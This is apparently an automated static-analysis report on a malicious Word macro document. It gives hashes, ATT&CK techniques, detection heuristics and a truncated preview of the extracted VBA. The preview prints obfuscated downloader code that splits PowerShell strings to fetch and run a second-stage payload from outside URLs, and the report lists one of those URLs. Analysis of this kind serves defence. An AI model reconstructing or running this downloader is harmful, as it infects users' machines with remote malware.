Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c742db754ce52027…

MALICIOUS

Office (OLE)

217.0 KB Created: 2017-12-28 16:57:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 0dee6a7d2098b5f68d4ec04307fdd24d SHA-1: 214615dec4e409058bf9645a552097437e70fa4d SHA-256: c742db754ce520271e3d5f299d2fb13090ee8e46fbef4534e65ee6e04d3e0ca7
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that executes a Shell command. This script is designed to download and execute a second-stage payload from the embedded URL. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further suggests a phishing lure designed to drop malicious content.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.drmka.ir/XOq+Xzrh+zrhOqP6XOq+XOq0u/fXOq+XOqtX.SpXOq+XOqlit(XOq+XOqf7La3QE9zzKEl00Fj In document text (OLE body)
    • http://wwwhsGC3w�In document text (OLE body)
    • http://wwwhsGC3wIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71784 bytes
SHA-256: 116ec5fa142d04c2a9e234f421e6b57b8e99299499d230215a6f3c558dc009f9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YatoimW"
Function jfXVwvohF()
On Error Resume Next
wNOhGN = (PQblLwiisq - Rnd(43 * Tan(BIXmhXhWJvKW)) / baBiZbjqCoXBIc * Oct(YwUjdDAvWpZ) * FhhYEudKkvzER / Oct(wzTAlYvC - Chr(250) + 581 - ChrB(NbastbffszkbIU)) - 389 + SHiRtdwPS)
RjKmhrP = (DzWKZwzt - Rnd(43 * Tan(pdpYVoZ)) / cfMXJLfWwUEiXz * Oct(viNCHOOp) * tKjKjvQKFQlWr / Oct(tnrncivLjqTtt - Chr(250) + 581 - ChrB(mSjNpUiw)) - 389 + UqBDucHOmDr)
iOmizjlwFzp = Mid("2WGOqaXOq+'+'XOqch(XOq+XOqGVXOq+'+'XOqFaXOq+XOqbcXOq+XOq'+' in GVFbXOq+XOqcXOq+XOqdXOq+XOq){XOq+XOqtry{GVXOq+XOqFfrXOq+XOqanc.DownXOq+XOqloar3jUIj6E", 4, 137)
AXoUVjf = (HAbVEAwDiU - Rnd(43 * Tan(dCkjFPGFjjniDi)) / udIUQLIYlaD * Oct(nwoYazTp) * thoNpJl / Oct(TVXnaGSuNDlV - Chr(250) + 581 - ChrB(wJBFTGsLNik)) - 389 + YAvUHbBWnSEjW)
aZzoJr = (GvdYivPEEMq - Rnd(43 * Tan(PboKHWH)) / IIGjzKz * Oct(MzJucpSUKzNJsf) * sLvdfiaNE / Oct(lUzptYTwS - Chr(250) + 581 - ChrB(ECvbaIUAKJwMc)) - 389 + OYEjTNmlFjqVU)
vCmYzJRFM = (rVdMwhTb - Rnd(43 * Tan(YmHWDtZGqnuCGW)) / GcjwpjEVjGP * Oct(hBiCZzEXhz) * wdOLNsc / Oct(lwDFTzUl - Chr(250) + 581 - ChrB(TRYQoVrEI)) - 389 + UEBztGXlVbUr)
hkoUDL = Mid("coQ82IbCDFuGnNik4RJBar]66+[char]55),'$').REPLaCe(([char]122+[char]114+[char]104),[STriNG][char]39)) pJfK0Bn", 21, 80)
raNlma = (QZuManLpPTD - Rnd(43 * Tan(OaDvPYrGbV)) / mcFFSzOkFo * Oct(jkOlmojYIkdzz) * iJRRdOEv / Oct(HjVissB - Chr(250) + 581 - ChrB(ziZqSjdmCZCM)) - 389 + JfFsknzSbZko)
MEGiafz = (niSnvuiVWG - Rnd(43 * Tan(dOdSiGzBwSIwCs)) / zcUiEcV * Oct(KTwsiJFpkcXwp) * rAvhbpCimPuq / Oct(BAoCTIZSzjOSrs - Chr(250) + 581 - ChrB(YTfuPOkUmXA)) - 389 + mfhjznMDowa)
DiCisWb = (HCRGnfHAjPZ - Rnd(43 * Tan(PdnfboBiWz)) / PpIFDRV * Oct(pBnYbUvm) * FidQjWVJJm / Oct(liFJJwC - Chr(250) + 581 - ChrB(faDjKHjTc)) - 389 + MKfCido)
OiCKAs = Mid("VL3Ojp0jIdFiXO'+'q+XOqle(GVFXOq+XOqab'+'c.XOq+XOqToStringXOq+XOq(),XOq+XOq XOq+'+'zrh+zrhXOqGVFhXOq+'+'XOquXOqzrh+zI1jsjUWbHX", 10, 106)
jobOK = (pQQsUhO - Rnd(43 * Tan(wYGSkAbiRfBf)) / cnnRzQfio * Oct(ctaEzwrAFJQiN) * PwzLimIuul / Oct(ccaWQiFHj - Chr(250) + 581 - ChrB(YJvcjZfvWCu)) - 389 + OCwTUACjhw)
ufIqjzHuwQ = (QzPikzU - Rnd(43 * Tan(uoUJZmcqzO)) / JNjqLkHFZj * Oct(HQnamdcuH) * oXRaKSZ / Oct(XXBwHisjGDw - Chr(250) + 581 - ChrB(sumchEWwzzO)) - 389 + HWVqPQA)
mDAzRPXcF = (rWVQdoaLaiuqp - Rnd(43 * Tan(iuMcwYi)) / DNYYzOEFD * Oct(ZUEGOJCHvrTvTM) * RlFqDiaG / Oct(SHsFrMGVaz - Chr(250) + 581 - ChrB(UwbjDardr)) - 389 + ItLOfcwPAOzNjo)
kuVLm = Mid("bOdjlEmw5I6uDV1zrhXOq+XOqCsZXOq+XOqxHA/zrh+zrh,httpXOq+XOq:XOq+XOq//aXOq+XOqyXOq+XOzrh+zrhqdiXOq+XOqsaXOq+XOq.coXOq+XOqm/QtS6lVwP", 16, 107)
dRhlPONESN = (idCLQIJIi - Rnd(43 * Tan(WYviJtl)) / sGwadYJwrkJCU * Oct(CjuOsaMYuNQwd) * HdNcEbXuVHziC / Oct(RYzfifWOj - Chr(250) + 581 - ChrB(AKcTLjJjuUqNXh)) - 389 + tSILnOOYuHWNlN)
HNlZzazIDH = (IQusKqSYiXdl - Rnd(43 * Tan(MrCfOBiYr)) / GYkUPiu * Oct(RaFVppPjZqvq) * RbdvdPlfdpJQNo / Oct(aVCuolLKNr - Chr(250) + 581 - ChrB(NQibrdA)) - 389 + owGZmPJ)
JDZjEU = (TsuSbuwDimzTjh - Rnd(43 * Tan(EBSipNNCwfm)) / iMpVYSzBwTEF * Oct(uOaZpvi) * TDVvCYkFqwmoI / Oct(rsRYAmjck - Chr(250) + 581 - ChrB(MfvwndGkIuPJUZ)) - 389 + uNvHVRRtiX)
dSpilvDrRfm = Mid("RJK8s)XOq+XO'+'q;IXOq+XOqnvoXOq+X'+'Oqke-XOq+XOqItemXOq'+'+XOq(GVXOq+XOqFhuas);breaXOq+XOqkXOq+XO'+'z'+'rh+zrhq;XOq+XOqzrh+zrh}XOq+XOq'+'cXOq+ZkNic5uaVob4YQPzqhw", 5, 138)
LYbbQq = (nlvEbAv - Rnd(43 * Tan(EnBCNFQQ)) / bBVBBwj * Oct(KAWTvQiif) * ZRmZNUUXDb / Oct(pjjqVKOnEmmPoR - Chr(250) + 581 - ChrB(ZqIXWXi)) - 389 + qzRBoBjdvERU)
AMbYmMalzdl = (ThaLTQcETIHr - Rnd(43 * Tan(ztjizBwLKQtm)) / rYfiSiwaKfrV * Oct(iQvlclsjAmmLcK) * YJRjYlYEZkqc / Oct(HmOsMEThPYnIuB - Chr(250) + 581 - ChrB(lsWpTPBBOKwKJ)) - 389 + WBmIzYOY)
TwiCmckIVz = (qdaGQqalm - Rnd(43 * Tan(wIMviOj)) / aHBpqDI * Oct(mYIrLWziiM) * RGjHwDzTtbGB / Oct(OzrMPBmWz - Chr(250) + 581 - ChrB(ECcvqbLdMRjPw)) - 389 + A
... (truncated)

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